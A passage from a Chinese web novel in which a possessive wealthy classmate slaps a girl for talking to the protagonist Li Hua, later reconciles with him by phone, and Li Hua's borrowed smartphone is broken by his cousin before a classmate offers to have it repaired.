安排好一切，郑源带着李华去吃西餐。但李华明显对西式菜品不感兴趣，没吃多少，郑源便问他想吃什么，手已经放在厨师的联系方式上，大有再来一顿郑源牌私家小厨的意思。李华摇头，他有些开心，想象爸妈能喝上温水的快乐，眼睛明亮地跟郑源聊天，话变得多：“小时候我们会在农村的土路上散步，特别黑，没有路灯，但是天上有很多星星，星星都很亮，你闻过秋收农忙时候的夜晚吗，空气里飘的都是玉米、花生的味道，玉米杆没老时还能吃呢，味道特别清甜。”
郑源静静地听着，嘴角勾起，脑海里已经浮现出画面，仿佛连带他也是幸福的。
他们度过了一个很美好的星期天，第二天去学校，两个人也都神采奕奕。李华对郑源的脸色好了很多，他昨晚迫不及待地沉浸在手机的海洋里，学到了很多下一年级才会学到的新单词，预习了很多课文和公式，甚至提前了解了化学、物理实验。
这下他终于不用担心了，不用担心自己跟不上越来越难的课本。
“李华。”
李华扭头，看到之前给自己面包，问自己数学题的女同学又来找他了。她看起来很困惑，搬着小凳子，拿着数学练习册，“你能教我这道题吗？”
几个男生路过他们调侃，不怀好意道：“徐梦梦又爱学习了。”
“大屁股梦。”
“哈哈哈……”
李华看着他们皱了下眉，转头看徐梦梦，女生果然有些难堪和无措。或许她比起同班同学的女生是稍微胖了点，但是李华不觉得胖有什么不好，胖反而比瘦更健康，更有福。
他说：“你不要放在心上，你问哪道题？”
徐梦梦感激地看他一眼，点头，红着脸坐到他旁边，将练习册摊开放在他面前，“这个，老师讲了，但我没听懂。”
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>“你给我讲一遍做题思路。”李华说，“我就知道你是哪里不会了。”
“好。”
徐梦梦不好意思地笑笑，低下头，刚张嘴，就被人从身后拽了头发。她啊了一声，疼的倒抽一口凉气，李华刚转身，就感到椅子被人踩着，他几乎想都不用想就知道身后是谁，“郑源，放开她。”
郑源从厕所出来看到的就是两个人离的近的快要贴在一起，他对李华有好脸色，耐心，对别人都没有。而他对李华的温柔，也都建立在李华只和他自己玩。没想到转头又去找了别人。
“你能不能滚？”郑源嫌弃地看着徐梦梦的数学练习册，“考八十多分，你能学出来个什么？有什么题好问的？不会问老师吗？”
徐梦梦疼的眼泪滚落，李华啪地打开郑源的手，很愤怒，“你干什么？”
郑源很生气，也很伤心，“你不准跟她玩！”
李华感觉他无可救药，“我跟谁玩是我的权利，我只是答应和你玩，没答应只和你自己玩，你能不能别这样？”
“你就是不能跟她玩！”郑源要气炸了，他的脾气本身就跟炮仗似的一点就着，这下直接窜老高，“你怎么那么爱讲题？就你会讲？就你学习好？！”
李华震惊地看着他，“你……”
不少同学都看着他们，窃窃私语。徐梦梦捂着脸哭。郑源劲儿大，抓掉好些她的头发，把她的头皮拽的很疼，但是她不敢反抗。
女生微弱的哭声转移了李华的注意。他叹口气，从书包里拿出卫生纸递给她，“别哭了，你先回位置上吧，马上上课了，有机会我再跟你讲。”
徐梦梦放下手，红通通的眼睛看着他，刚想伸手接过他的纸，郑源反手就是一巴掌。
扇在了她的脸上。
啪的一声，全场寂静。
看笑话的王玉代都愣住了。
李华不可置信地缓慢看向他，怒火冲破理智直撞天灵盖，他猛地推了一把郑源，挡在徐梦梦跟前，恶狠狠地指着他：“滚。”
女生痛哭的声音回荡在整个教室，徐梦梦捂着脸哭到一抽一抽的，几个女生来安慰她。大家都离郑源远远的，生怕沾染到他，郑源握着拳，死死地盯着李华，几乎一字一顿，“她喜欢你。”
李华怔了一秒，徐梦梦也停了一秒，几乎所有人都又静了一下。李华咬了下后槽牙，依然是那个姿势：“那也跟你没关系。”
“你因为她让我滚？李华，你真是好样的。我说她喜欢你，你听不见吗？你不知道吗？”郑源气的颤抖，几乎要脱口而出，她喜欢你，你会不会也喜欢她？你喜欢她我怎么办？你凭什么，她凭什么？明明……
“我知道。我听见了。”李华说，“那也跟你没关系，你回到你的位置上，不要再过来。”
预备铃打响，郑源失望地看他一眼，让李华一顿，看着他头都没扭地走出教室，李华的手放下，长出一口气。看着徐梦梦，说：“你也回位置上吧。”
徐梦梦抿抿唇，小心翼翼地看着他，说：“我……”
“不要喜欢我。”李华很干脆，“如果你真的像他说的一样喜欢我，那就不要喜欢我，我不会喜欢你的。”
“我知道！我就是……”徐梦梦欲言又止，李华没心思再听。她只好回到座位上。
李华揉揉脑袋，叹口气。那一整天，他没再看见郑源。
36. 第 37 章
“他会看不出来吗？他装的吧他！”郑源的好友安慰着他，“源子，你也别生气，就你这样的找什么对……朋友找不来，你忘了，你以前还和我们一起上的时候，那谁不是喜欢你么，到现在还隔三差五问你情况呢，要不要我把她叫出来？”
郑源推开他搭在自己肩上的手，“不要。”他摸索着桌上的果酒，“我对他多好都没用，他就是能轻而易举的对别人好，又是讲题又是擦眼泪，那温声细语的说话，我一问他，他就是讨厌我，说我打他，那我现在不打了啊，他为什么还讨厌我？明明都说了跟我玩的，他下课不会来找我吗？每次都是我去找他，他根本就不想跟我玩！”
郑源一饮而尽，爆发似的絮絮叨叨：“他以为我不知道？我清楚的很！他每一个微表情都出卖了他！为什么啊？我不知道，还要我做到哪一步啊，我都已经求爷爷告奶奶的天天求他了，他到底怎么样才会对我好啊……”
他还在胆小，不敢暴露喜欢他，他只想让他跟自己玩，哪怕只有一次也好……可是为什么……李华好像除了对他，对谁都有好脸色……他嫉妒、难过、心里不平衡，醋的要发霉了，要酸死了，要爆炸了！
“我再也不理他了！再也不跟他玩了！再也不对他好了！我恨他！”
几个好友看他一杯又一杯的喝，这就算是果酒也是高度数果酒，同比下来跟稍微低点的白酒度数差不多，借酒消愁愁更愁，借酒灌醉人憔悴，郑源一副喝醉且失魂落魄的样子，眼睛红红的，不说话了，安静地坐在那儿，知道的是跟男同学闹别扭了，不知道的还以为他失恋了。
“犯不着吧。”有个小胖子试图伸手在他眼前挥舞，“源子？你还好吗？”
另一好友道：“连他这样的都会吃感情的苦，我被甩个七八十几次也不算什么了。”
“他这是矫情，你那是人单纯嫌你长的丑，能比吗？”比他们都稍长一些的男生走过来，像是这里的主人，“再说，他本来就酒量差，你们也不拦着，这下好了，醉了，谁送。”
这里是以前郑源还在上私塾时和朋友放假鬼混的地方，一个度假山庄，青山绿水郁郁葱葱，配备游泳池、露天烧烤营地、瞭望台、小型钓鱼岛等等，上下五层大别墅，还有鸡鸭鱼鹅、小猫小狗、人工蜥蜴、观赏蛇等等动物，一到寒暑假、节假日就爆火，一个人就得四位数，不过这淡季，倒是成了他们休闲娱乐的根据地。
几个人你看看我，我看看你，都不想揽这差事，“要不然等等？让他先睡会儿？光听他倒苦水了，还没玩着呢。”
“可别。”男生说，拿出手机晃了晃，“不然等会儿他小叔的秘书又要打电话。”他装腔作势地学，阴阳怪气：“限你们半个小时内把人送到家，不然我们就登门拜访了。”
听到这话，大家都不吭声了。
郑源是他们的朋友不错，但是他们郑家人，那是一个赛一个的恶心。有钱是圈子里公认的，恶心也是圈子里默认的。龟毛极了，吹毛求疵，鸡蛋里面挑骨头。自郑源从这里转走后，他就很少回来了，好友们也不傻，知道不是一路人了，人家以后是要走正途，登台亮相的，跟他们这种算计几斤几两的人没话说。只有受苦了，难受了，才想起他们来宣泄一番，把人当垃圾桶似的，用完就丢。他们对他的作用，可不就是这个吗？
沉默在蔓延。男生叹口气。他姓樊，是这里的主人，也是这里的老板，他今年十七岁，已经独自经营山庄两年，自十五那年不得不接手家族里的安排，他就已经辍学了，没事儿当当老板，看看书，跑跑仓库，他还做一些海鲜生意，是他们的学长。
他理解他们对郑源的看法，也知道只要郑源开口，就是再厌烦，也得堆着笑脸跑过来，因为每个人背后都有家长的劝告：“别惹他。”别自找麻烦。
“谁知道他家在哪儿。”樊瑞扒拉着手机，“我找人把他送回去。”
“以前的地方知道，现在……不知道了。”
“对啊，他早就从那儿搬走了。”
电话铃声响起，樊瑞说：“你们接电话啊，别等会儿把他吵醒了，更难办了。”
醉酒的郑源是最难伺候的。
几个人面面相觑，“谁的手机？”
“不是我的。”
“……他的。”一人指指靠着沙发的郑源，他眉头轻蹙，显然也是被铃声吵着。
真是受够了。樊瑞摸索着郑源的裤兜，看到跳动着的电话号码，向上一划，连个密码都没有。他接了这通电话，“喂，哪位。”
他没看出备注有什么问题。但是对方很明显沉默了一下，“郑源？”
带这些莫名的试探。
樊瑞声音略尖，听起来就很不耐烦，他也的确没好脸色，又看眼备注，普普通通的名字，没觉得有什么，“郑源喝醉了，你哪位？”
“李华。”李华说，还不等樊瑞开口，就说，“我没事，我挂了。”
“等下！等下等下……”樊瑞瞪大眼，捂住电话，扭头看着几个不明就里的人，急得直跺脚，气声道，“快快快，郑源说那个负心汉是谁？”
几个人莫名其妙，“谁？”
“名字，叫什么名字，快。”
“噢噢，李华，叫李华。”
“你不能挂！”樊瑞瞬间大声道，吓李华一跳。他下意识扭头看看身后。
这是他第一次用这个智能机打电话，干什么都有种做贼的小心翼翼。
他干脆拉了灯，上了床，缩在被子里，抿着唇，“我……”
“你快醒醒。”他听到男生恨铁不成钢的声音，忽近忽远，“你对象来电话了，快点儿。”
樊瑞干脆拿起桌上的酒泼在郑源脸上，瞬间把他凉了过来。郑源眯着眼，抹了把脸，看着拿着酒杯的樊瑞，张嘴就是一句沙哑的骂人话，“我草你妈。”
“很有理智。”樊瑞说，将手机丢给他：“你对象来电话了。”
“谁对……”郑源看着显示通话中的李华两个字，瞬间瞪大双眼，有些磕巴，“李，李华？”
“嗯。”李华听不清他们那里说什么，只知道闹哄哄的，很快又安静下来，是郑源连滚带爬地去了偏僻的地方，被一杯酒泼的清醒了，还有点冷，他脑子热热的，“李华。”
李华嗯了一声，不知道怎么开口，两个人沉默，过了片刻他才说：“你明天来上学吗？”
“我……”郑源想说当然去，你都给我打电话了，我肯定要去。但是不知道为什么又说不出口，像是傲娇，不想那么轻易原谅他，“看看吧。”
“噢。”李华知道了，便没其他想问的了，“我挂了。”
“别……啊……”郑源急了，“你给我打电话，就是说这个？”
“嗯。”
李华浅浅的呼吸透过电话传来，让郑源心里又暖又热的，一挤压，还出水儿了，是种酸涩的委屈，“你都……你都让我滚了……”
“你不该打她。”李华说，“她是女孩子。”
“女孩子怎么了？女孩子就能喜欢你了吗？！”
“喜欢不喜欢是她的权利，我们无权干涉。”
“什么都是无权干涉，那有什么是能干涉的？看着她问你题，你俩亲亲我我，你喜欢她她喜欢你？”郑源崩溃了，“你不能喜欢她！”
“我不喜欢她。”李华无奈，“我不会喜欢任何人。我给你打这通电话也是想知道你什么时候再来上学。虽然我不知道你是怎么想的，但是这些天接触下来，我隐约知道你不是一个天生的坏人，你也有你无法言说的，可怜的地方，你能懂我意思吗？”
李华一
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口气说了这么多，喘了喘，“或许我们真的会成为真正的朋友也不一定呢？你不要那么暴躁，不要那么喜欢动手打人，好不好？”
他答应自己不打自己了，所以他打了别人。李华也不傻，这几天相处下来，他知道郑源是有真真正正对自己好。而这些好他也还不来。从最开始要给他药钱，到一顿又一顿吃他让厨师做的饭菜，跟他去江边散步，再到知道他的身世，用着他给的手机，李华想郑源应该是真的把他当成了知心朋友，否则不会对他这么敞开心扉。物质上的东西是次要的，主要的是本就敏感的他能感受到，郑源其实没那么坏，没那么让人无法忍受，他就是……太肆意生长了点。
李华也拿出了当朋友的态度，主动关心他什么时候再来上学，因为他临走时那失望的眼神看的李华一顿，他真的受伤了。
“我控制不住。”郑源说，“我一看到你跟别人靠近，我就好烦好烦，好烦躁，我要杀人。”他直白地表达，吓了李华一跳。
他沉默了。郑源也沉默了。但是郑源想，李华不会喜欢任何人，那……也好吧，不喜欢他就不喜欢吧。
“但是你这样是不对的。”李华说，“我是一个独立的个体，我有权利选择和谁交朋友，和谁接触，你不是皇帝，现在不是古代，每个人都有人权。”他还有些稚嫩清秀的脸上写满了认真，“你要学会尊重。”
“我……”郑源又何尝不知道他说的是对的，但是他就是克制不住，要是能克制住，那还叫脾气？
“我忍一下吧。”他后退一步，又前进一步，“那你以后能别和别人走太近吗？这我真受不了，我要疯。”
李华沉默了一下，走太近，他不会跟其他人走太近，他本身的性子比较独，脑子里也只有学习一件事，要不是郑源像土匪一样闯入他的生活，他可能跟他永远不会有交集，“我知道了。”
但是他也提出了他的要求：“你不能再打人，无论对方是谁，否则，我就再也不和你交朋友了，我不会再原谅你了。”
郑源恶狠狠地咬了下舌尖，“我知道了。”
“那你明天来上课吗？”李华问。
“……嗯。”郑源说，他就这么被莫名其妙地哄好了。
李华说：“好的，那我就挂了，再见。”
电话挂断，郑源看着手机上的备注出神，心情轻松的多。他回到桌边，见一帮人都看着他，每一个眼神都围着他转，翘起了嘴，唇红齿白的。
有人说：“和好了？”
“嗯，和好了。”
“那还喝吗？”
“不喝了。”郑源找到樊瑞的微信，转了账，“谢了。”
“不客气。”樊瑞看他拿外套，揶揄道：“这就走啊？不再玩会儿了？对象的魅力就是大，三言两语就把郑大少爷哄好了。”
“不是对象。”郑源得意地笑了一下，“回去了，明天还得上学呢。”
樊瑞没再留：“行吧，路上注意安全。”
胡建国很快就来了，接醉酒的少爷回家。郑源一直噙着笑，看起来心情很好：“胡司机，你说李华这么关心我明天上不上学，是不是喜欢我。”
胡建国老脸一茫然，“这个……李华同学应该是……挺喜欢少爷的……吧……”最后那个吧简直无声。
“我就知道。”郑源开心的笑起来。
第二天，他一大早就去了学校，问李华为什么这么关心他上不上学。李华神情微变，没有说话。郑源却当他是害羞，大发慈悲的放过他。不曾想李华只是有了他不上学而自己也不能上课的前车之鉴，觉得，如果能打电话把他劝回来上学，那是再好不过的了，起码不用浪费自己上课的时间。
但是他学聪明了，知道这是断不能说的。以至于郑源怎么想的，也就无所谓了。
37. 第 38 章
郑源把大部分的时间和目光都投在李华身上，虽然依旧优秀，但还是退步的很快。在期中考试中，他只考了全班第五名。他没再跟李华挣第一名。让李华虽然是第一名也很开心，看着他的成绩却又有种说不上来的感觉，不知道这种感觉叫什么，但总归不是喜悦。
有了郑源扇徐梦梦一事，同学们离他就更远了。徐梦梦也长记性地没再来问李华数学题，每次看到郑源都绕着走。两个人过了一段相当安稳平静地生活，李华也没再星期六天去过他家，因为期中考后很快就会到期末，每一年的期末成绩都很大程度上影响了年终奖助学金。李华不想掉以轻心，更不想分心。智能手机上的娱乐游戏对他产生不了吸引，但他倒拜托郑源帮他找了下学期的课本，想提前学习，算作衔接。
郑源开始发现他做什么事都很有条例，还很有目标。这样的李华让他眼前一亮，他就也忍住了想骚扰他的心，只在有限的时间里尽量和他多接触。因为李华说了，他不会喜欢任何人，那就是不会喜欢他，但也不会喜欢别人。这样就很好了，郑源很满足。
但是快期末考试的时候，发生了一件事，那就是李华的舅妈，住进了舅舅家。在他星期六天照常回家的时候，发现家里没有人，他没有钥匙，打不开门，就在门口等着，过了好久，才看到舅舅的车，他欣喜地站起来，腿都酸了，却看到车门拉开，舅妈和舅妈的儿子都提着大包小包地下来了，她们像是刚从超市回来，满面笑容的。李华一下就愣了。
舅舅看到他，笑着快步走来，说：“今天怎么回来这么早。”
早……吗？李华张张嘴，没说话，明明天都擦黑了。
舅舅打开门，迎着舅妈和冯宝进屋，李华是最后一个进的，他轻轻关上门，就看到舅舅和舅妈进了厨房，他的表哥冯宝坐在沙发上吃薯片。李华也有些饿了，没忍住多看两眼，但他表哥显然不想让他觊觎，狠狠地瞪他一眼。李华沉默地进了屋。屋外其乐融融地笑着，一副热闹的温馨景象。李华就突然很想爸爸妈妈。
他抽抽鼻子，拿出课本写作业，却被吵的写不进去，无法集中注意力。他下意识撇了下嘴，觉得自己怎么这么娇气，但是他的确很想爸妈，很想回家。他在这里格格不入，他是一个外人。他拿出郑源让他用的智能机，想给爸妈打电话，门却突然开了。李华没有反锁门的习惯，舅舅从来不会不敲门地闯进来。他错愕地转身看人，冯宝看着他手里最新款的智能机挑了下眉，说：“吃饭。”
李华点点头，将手机放起来。
饭菜是舅妈做的，舅舅帮下手。饭桌上，舅舅一个劲儿地夸舅妈，李华埋头吃着饭，屏蔽了很多信息。他觉得这些菜有些咸，但他不敢表现出来。直到听到舅舅说以后你们母子俩就住在这里，他才豁然抬头，舅妈朝他看来，舅舅也看着他，“怎么了，李华。”
李华慢慢摇头。
他再次沉默地佝偻着身体，脸恨不得都埋碗里。
这是舅舅的家，他只是借住而已。
吃完饭，李华主动将自己的碗刷了，让舅妈欣慰地看着他，夸了句懂事。舅舅笑笑没说话。其实李华一直都喜欢帮大人做家务，以前他做饭时，李华还会把地拖了。
李华擦干净手，推开卧室门，看到冯宝坐在他的床上，脚翘在他写作业的桌面上，还踩脏了他的课本，手上，玩着郑源给他的智能机。李华快步走过去伸手，很急很气，“还给我。”
冯宝懒洋洋地看他一眼，“玩一下。”
这一万多块的手机，他只听过看过，从没摸过，更别提玩过。这下让他逮到新鲜，在手机上下了一系列莫名其妙的软件。郑源自己都没有设置密码的习惯，就也没教李华。李华伸手去抢，冯宝躲开，还打开他的手，“一边去。”
“这是我的！”李华握紧拳头说，气的脸都红了。冯宝说：“你的？”他冷笑一声，“你偷的吧？你什么条件啊买这样的手机？是王信给你买的不？他真舍得给你花钱啊，住这样的破烂房子，我也要！”
王信是舅舅的名字。冯宝站起身要走，大有拿着手机再找舅舅要一台的意思。李华扑过去抢，冯宝死活不丢手，但也没想到这么瘦弱的人爆发出这么强的力量，一个甩手，智能机摔在地上，瞬间裂了几道缝。李华僵硬地站在那里，冯宝有一瞬间的懊恼，但很快又嘁了一声，“都怪你，让你抢，这下好了吧，活该。”
他甩开门走出去，还骂李华小气。李华盯着智能机，手脚发麻，好一会儿，才慢慢走过去将手机捡起来。还能开机，但是屏幕裂了，出现了花屏。他急的掉泪，不知道该怎么办。最终没忍住哭出声。
郑源还说反正也不会用坏，说期末再还给他。这马上就期末了，手机也坏了。
就这，还有一半的屏幕能显示出内容，郑源问他吃饭了没的信息从里面弹出来。李华哭的上气不接下气，却紧紧咬着胳膊没有发出声音。
他好委屈。
第二天，他肿着眼沉默地出了门，临走时舅舅问他去哪里，他看了舅舅一眼，神情很寡淡。他带着智能机徒步走到了市中心，几乎走了两个小时。他又累又渴，嘴唇起着干皮，脚底也隐隐作痛。但是他去了最大的手机店，想问问修这个手机要多少钱。
销售顾问很快就接待了他，并把他带去品牌相对的专用手机维修店，前台接待的人员一看，大喊可惜，这最新款才没出一个月，怎么就摔成这个样子。要知道这么一修，再二次贩卖的价值大大跌出预期。她唉声叹气，让李华的心很紧张，他虽然不知道发生了什么，但是能感受到事情似乎闹大了。
手机传给了后面的专业维修人员，李华坐在沙发上焦急地等待，水杯都快让他握洒，十几分钟以后，对方传来消息，意思是内外屏完全破碎，包括外壳，包括音量键等等，简而言之，一个残废手机，建议修理的意见是百分之四十七，因为修一部这样的全新智能机，价格再添添就可以再买一台一模一样的了。
李华小心翼翼地问：“多少钱？”
对方不忍心地说出个数，李华眼前一黑，差点坐在地上。
怎么会，这么贵。
郑源明明说不要多少钱……怎么会这样……
他一时恨急，恨郑源又骗他，一时又害怕，害怕到啃指甲。怎么办啊，他觉得天塌了。
难道要让他就这样还给郑源吗？再让他给自己一台新的？他做不到啊，而且手机用着搜题的确很方便，问题是不修的话也很可惜，明明是一台那么好的智能机。
李华脸色苍白地将手机抱在怀里，失魂落魄地走了出去。
怎么办，有没有人能帮帮他，甚至是救救他……
“……李华？”
李华抬起头，看到徐梦梦穿着粉色的小马甲，和几个女生走在一起，她们一人一杯奶茶，背着小包，看起来很时髦，显得他更加灰败，像个土老帽。
“梦梦，你朋友嘛？”一个短发女生问，上下打量他。
“
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嗯。”徐梦梦轻轻嗯了一声，左右看了看，抿了下唇又问李华，“你……你自己吗？”
李华点点头，徐梦梦便撒开挽着小姐妹的胳膊，走到他身边，“你怎么坐在这里？……你怎么啦？”
她明亮的眼睛看着他，睫毛一眨一眨的，很温柔的关心，她看出李华心情不好，甚至是很难过，“你遇到什么事啦？”
李华一直垂着头没说话。几个小姐妹互相看看，说：“梦梦，电影快开始了。”
徐梦梦抿了下唇，微微红着脸说：“你们去吧，我就不去了。”
“啊？你……”
徐梦梦迅速向她们挥手，赶她们走，“去呀。”
几个女生会心一笑，没再吭声，默契地离开了。
徐梦梦从包里抽出纸巾擦了擦台阶，坐在李华身旁陪着他，无聊地哼起小曲。
“你唱的什么？”李华问。
“我也不知道，我瞎唱的。”徐梦梦朝他眨眨眼，“好听吗？”
李华一顿，移开视线，“好听。”
徐梦梦声音清脆，像课本上写的百灵鸟。李华听着她的歌声，微微红了眼眶，“上次……抱歉。”
“哪次？”徐梦梦说。
“郑源打你那次。”李华抿了下唇，尽管不是他动的手，但有他的原因。
徐梦梦说：“没关系啦，我们都知道郑源是什么样的人……你跟他是好朋友吗？”
李华抿着唇没说话，过了会儿才说，“嗯。”
“好神奇噢，你们竟然可以玩到一起去。”徐梦梦说，她无聊地托着下巴，片刻后扭过来看他。
李华长的很清秀，很好看，她红了耳朵，又移开视线，“其实你很勇敢诶，总是会帮助弱小，冲在前面。”
李华笑不出来，只说：“谢谢。”语气很轻。
徐梦梦这才再次看向他，留意到他怀里抱的，“你拿的什么？”
“手机。”李华低头看了一眼，“摔坏了，我修不起。”
“啊？”徐梦梦这才知道他难过的原因，说：“能拿给我看看吗？我哥哥指不定可以。”
“真的吗？！”李华瞪大眼，满含希望地看着她，把她看的不好意思，“真的，他可厉害了，是工程师。”
李华连忙把手机递给她，她看着惨不忍睹的手机啊了一声，显然也没料到会损坏的这么严重。她拿出自己的手机拍张照发给哥哥，问他能不能修，又发了很多个拜托的表情包，每个都泪眼汪汪地祈求着。
过了会儿，哥哥才回：可以，就是麻烦，谁的手机？
她看眼李华，微微背过去：好朋友的，超级超级好的朋友，真的能修吗？那我就告诉她喽！！！
哥哥说：可以。
徐梦梦耶了一声，连忙把好消息告诉李华，李华开心极了，激动的不知道怎么办才好，竟下意识想像同学之间那样抱她一下，但他很快克制住，而是站起身在原地蹦了两下，“谢谢！谢谢！”他双手合十地向徐梦梦作揖，“谢谢你，谢谢你哥哥，你……那你能不能帮我问一下，多少钱？”
徐梦梦被他的行为逗笑，说：“都帮忙啦，肯定不要钱啊。”
李华感动的无以复加，眼睛都红了。徐梦梦连忙诶了两声，“你别，别哭啊，这也不是个什么事儿，你要真感谢我，你……”
她略微扭捏了一点，不敢看他，“你能陪我看电影吗？我想和你一起看电影。”
李华：“啊……？”
38. 39
看电影？又是看电影。李华真不知道电影有什么好看的。而且这让他想到郑源。郑源生日那天也想和他看电影，但是他们错过了。李华抿着唇，没有立即说话，已经显示出为难。徐梦梦是一个非常贴心且不喜欢强人所难的女孩儿，她善解人意道：“不然我们去公园也行，这个时候看电影可能也没有合适的票了。”
李华缓了口气，点点头，他还真不知道怎么拒绝她，毕竟她刚帮自己那么大的忙。徐梦梦穿着粉色小马甲，小短裙，坐的时候就很淑女，怕走光，这站起来就有些尴尬。她从没有也没想过穿这么好看的坐在马路边的台阶上。眼前伸了一只手。徐梦梦惊讶地抬头看他，眼睛弯起来，将手放在他的掌心里，李华握住她的手，扶着她的肩膀，把她带起来。徐梦梦拍拍小裙子，开心极了。
“李华，你跟那些男生都不一样。”徐梦梦想，反正李华已经知道了自己喜欢他，大胆地表达自己的感受也没什么。尽管这个男生平时沉默寡言，一心扑在学习上，但他就是有种独特的魅力吸引她。
“你很认真、也很善良，还很贴心。”她的嘴角甜蜜的翘起来，夸他让她感到开心。在大部分男生都只会欺负女生，开低级又没品的玩笑时，李华的真善美显得与这里格格不入。但恰巧就是这份特殊，让他在一群男生中脱颖而出。涉世未深的女孩儿们并不会因为一个人背后的价值、原生家庭去影响自己的判断，她们坚信也坚定地维护着那份什么都不参杂的喜欢。
“你也很优秀。”李华说，没有反夸回去的虚伪，看着徐梦梦薄又红的耳垂，“你很漂亮。”
他不觉得徐梦梦丑，也不认为班里男生说的胖。他觉得徐梦梦很有活力，很开朗，也很古灵精怪。
徐梦梦瞪大眼，看着他笑起来，脸很快就红了，语气里都带着娇嗔，“才没有，我一点也不好看，你不觉得赵敏更好看吗？她可是校花。”
赵敏是他们的班长，一个很出挑的女生。扎着单马尾，眉眼上挑。李华跟她接触不多，不记得她长什么样。校园对他而言就是学习的地方，校园八卦都很没营养。他摇摇头，诚实道：“我不记得她长什么样。”
“真的假的？！”徐梦梦不信，拉着他停下，她不信他不知道赵敏长什么样，那可是校花诶，校花！大家评选出来的！公认的眼光。她半信半疑，有些愉悦又有些期待，“我不信，你骗我吧？”
“我没必要骗你。”李华说。
徐梦梦忍不住背着手哼了一声，嘴角的笑放不下来，小声嘟囔：“油嘴滑舌，甜言蜜语……”一点也不老实。
李华不知道她怎么了，也听不见她说的话，下意识问：“什么？”
“哎呀没什么。”徐梦梦不让他看自己，藏在他身后，推着他的胳膊让他快走，语气轻快，“走啦，去公园啦。”
公园离这里不远，到门口时，他接到了郑源的电话。因为要修手机，徐梦梦帮他把电话卡拔了出来，又插回了原来的老式手机中。他看到来电显示郑源，正想接，就见徐梦梦脸色微变。被当众扇脸的记忆还在眼前，她懂事的知道是自己自讨苦吃，告老师也没用，尽管很多人安慰她，但自尊心和面子被碾压的丢人惨状让她记忆犹新。她下意识抓紧了李华的袖子，带着祈求地看着他摇了摇头。
她怕郑源，李华从她脸上看出了当初自己怕郑源时一模一样的神情。想到之前发生的事，李华拍拍她的手。
电话接通，郑源语气很愉悦，“李华！你作业写完了吗？”
李华说：“写完了。”
郑源激动地说：“太好了！可憋死我了，我就知道你今天能写完。你现在在家吗？我去接你啊，我们去海洋馆吧？我带你见大鲨鱼！”
“我没在家。”李华说。
郑源很意外：“啊？那你在哪儿？你出去玩了吗？”
李华点点头：“嗯。我在外面。”
“外面哪儿啊？跟谁啊？我能去吗？”郑源可怜巴巴的，“我都好久没见你，也没和你一起玩了，你带着我呗，我请你吃好吃的！”
李华不喜欢也不会撒谎，沉默了一下，挑了个其他话回答：“我们前天刚见过。”
“但是昨天没见啊。”郑源看起来要空虚死了，语气里都透露着有气无力，无赖地一直念他的名字：“李华……李华李华李华李华李华……”
“今天不行。”李华被他磨的没办法，“改天吧。”
“改天是哪天啊？为什么今天不行啊？你……”郑源沉默了一瞬，他知道李华不喜欢跟他说太多自己的家庭，嗯了一声，又稳重了起来，“你是不是……跟你舅妈在一起呢？”
李华一顿，不知道他怎么想到这里去，又不知道怎么回答。就又听他说：“那好吧，那改天就改天吧，没事的。你先忙你家里的事情吧，如果受欺负了跟我说啊，我随时可以去找你，不要不说话。”
李华握紧手机嗯了一声，两人都没说话。郑源明显舍不得挂，李华也不知道自己为什么没挂，可能是心虚吧，他深吸一口气，听到郑源说：“拜拜。”
李华说：“拜拜。”
电话挂断。李华叹口气。徐梦梦看着他，有瞬间疑惑地歪了下脑袋。老手机收音不好，她听到了里面的谈话，说：“你和郑源关系这么好吗？”
李华看看她，将手机收起来，“还好吧。”
徐梦梦却觉得怪怪的，她从没见过郑源这么黏人的样子，跟他的平时的作风完全不符，甚至可以说她幻想都幻想不出来，这跟冷着脸直接扇她脸的人是一个人？她想不明白，甚至
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隐约有危机感，进而突然蹦出了一个之前从未想过的疑问：“他那次，为什么打我啊？”
“啊？”李华不明白，随即反应过来，“噢，他……”他抿了下唇，“他觉得我们两个走太近了。”
“我们两个走太近了？然后他打我？”徐梦梦瞪着眼，那次回家后看着镜子捂着脸痛哭流涕的场景就在眼前，她皱起眉头，“问题是他为什么打我？就算我和你走得近又能怎么样呢？他……他为什么不打你？”
“他……他打过我。”李华挠挠头，“我也不知道。他可能就是……就是希望我只跟他自己玩。”
徐梦梦匪夷所思地看着他，无法理解：“什么啊，他对你的占有欲为什么那么强啊，看你跟别人玩都不行，再说了，我也没跟你玩什么啊，我只是去问你数学题我就要挨打，他这个人有毛病，李华，你不要再跟他接触了，神经病。”
李华感觉脑子嗡嗡的，他胡乱地点头，“我知道了。”
徐梦梦看着他逆来顺受的模样，恨铁不成钢，手一松，不理他了。
有郑源这一插曲，他们的心情都不太好，百无聊赖地逛了会儿公园，李华还在担心手机的事儿：“梦梦，手机什么时候能修好？”
“不知道，但是我会让我哥尽快的。”看到自己喜欢的男生温柔忧愁地看着她，她心里又软的一塌糊涂，“我刚刚……语气不太好，你别生气。”
“不会。”李华摇头，“我知道你是为我好。”
徐梦梦没说什么过分的话，他比任何人都清楚郑源恶劣的一面，那些挨打的日子还在骨子里泛疼。但他或许就是愚蠢又天真，对任何人都有优柔寡断的一面。
“你留下我的电话号码吧。”徐梦梦说，“我们随时联系，好吗？”
李华说：“好。”他拿出手机，记下徐梦梦的电话号码。徐梦梦又说：“那我要是还有不会的题，可以继续问你吗？”
她期待地看着李华，李华点头，他想不到拒绝的理由。
两个人又逛了会儿便各回各家了。徐梦梦走时面露不舍，欲言又止片刻，又问李华：“下次你可以陪我看电影吗？”
看电影是种什么执念吗？李华不理解，但是面对女孩儿期盼又小心翼翼的目光，不知为何他说不出口拒绝，只能犹豫地轻轻点头。徐梦梦笑起来，心里怦怦跳。好看的男孩儿就那么站在那儿，她始终克制不住情窦初开的悸动，朝他跑来，弥补了李华没抱她的行为。李华瞬间瞪大眼，女孩儿香香软软的身体抱着他，他僵硬的像根木头，徐梦梦羞得迅速松开跑走，徒留李华站在原地。
李华的心后知后觉地跳了两下。
红晕爬上他的耳朵，他垂着眸，掩盖自己的羞涩。
睫毛的颤抖却暴露了他的青涩。
39. 40
弄坏了郑源给自己的手机，李华心虚的不行。导致上学时郑源跟他说什么他都没有反驳，虽然无外乎就是一些下课看他打球，中午一起吃饭的日常，但也算得上言听计从。郑源很开心，李华很侥幸，徐梦梦很生气。他明明答应自己要远离郑源，怎么说话不算数呢？在还讲究泾渭分明的中学时代，李华没有坚定的选择跟随她、没有做到答应自己的事，无外乎就是背叛。敢问，喜欢的人和霸凌自己的人关系很好，该怎么办。
放弃喜欢？
